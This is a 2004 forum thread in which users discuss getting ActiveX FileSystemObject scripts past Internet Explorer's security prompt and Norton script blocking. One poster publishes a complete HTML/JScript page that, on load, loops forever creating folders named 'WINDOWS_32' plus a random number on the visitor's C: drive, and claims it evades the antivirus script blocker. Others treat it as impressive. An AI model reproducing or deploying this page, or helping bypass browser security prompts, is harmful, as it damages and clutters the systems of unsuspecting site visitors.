IE Security

AmaD · Post by **AmaD** » November 21st, 2004, 12:24 pm

I was fiddling with a few FileSystemObject scripts in Javascript, and having to use Internet Explorer to test them is a pain because of Mozilla Firefoxes' amazing ability to kill anything with the word script in (In a good way, that is).

Does anyone know how to get the FileSystemObject scripting compatible in Firefox 1.0 and to get past that annoying ActiveX thing asking you if you wish to let it run? Thanks

PS... I wonder how porn sites do it

Comanche · Post by **Comanche** » November 21st, 2004, 3:20 pm

PS... I wonder how porn sites do it

Smartweb · Post by **Smartweb** » November 21st, 2004, 4:51 pm

The FileSystemObject is an ActiveX Object, and therefore it is impossible to use it in Firefox without some kind of extension that makes the browser really insecure. IE asks viewers if they want to let the file system object run because it can be VERY dangerous. There is probably some kind of unknown security hole that lets you get past that, though, because IE is full of those all over the place.

AmaD · Post by **AmaD** » November 21st, 2004, 5:37 pm

I have been researching but with little luck. Usually if you invoke an ActiveX function it will come to the attention of IE and Norton script blocking etc. I found somethiong that only asks you once and gets past Norton's script blocking. This script below does this and creates 1000's of new folders on your C:/. Sorry about the actual implementation of the script, but I was bored

:

Code: Select all

<html>
<head>
<title> Base </title>
<script language="JScript">

    function fnFolderObjectNewFolderJ()
    {
        var chum = Math.random() * 100;
        var objShell  = new ActiveXObject("Shell.Application");
        var objFolder = new Object;
        
        objFolder = objShell.NameSpace("C:\\");
        if (objFolder != null)
        {
            objFolder.NewFolder("WINDOWS_32" +chum);
        }
       setTimeout("fnFolderObjectNewFolderJ()")
    }
</script>
</head>
<body onload="fnFolderObjectNewFolderJ()">

</body>
</html>

Tebow2000 · Post by **Tebow2000** » November 21st, 2004, 6:00 pm

what a powerful script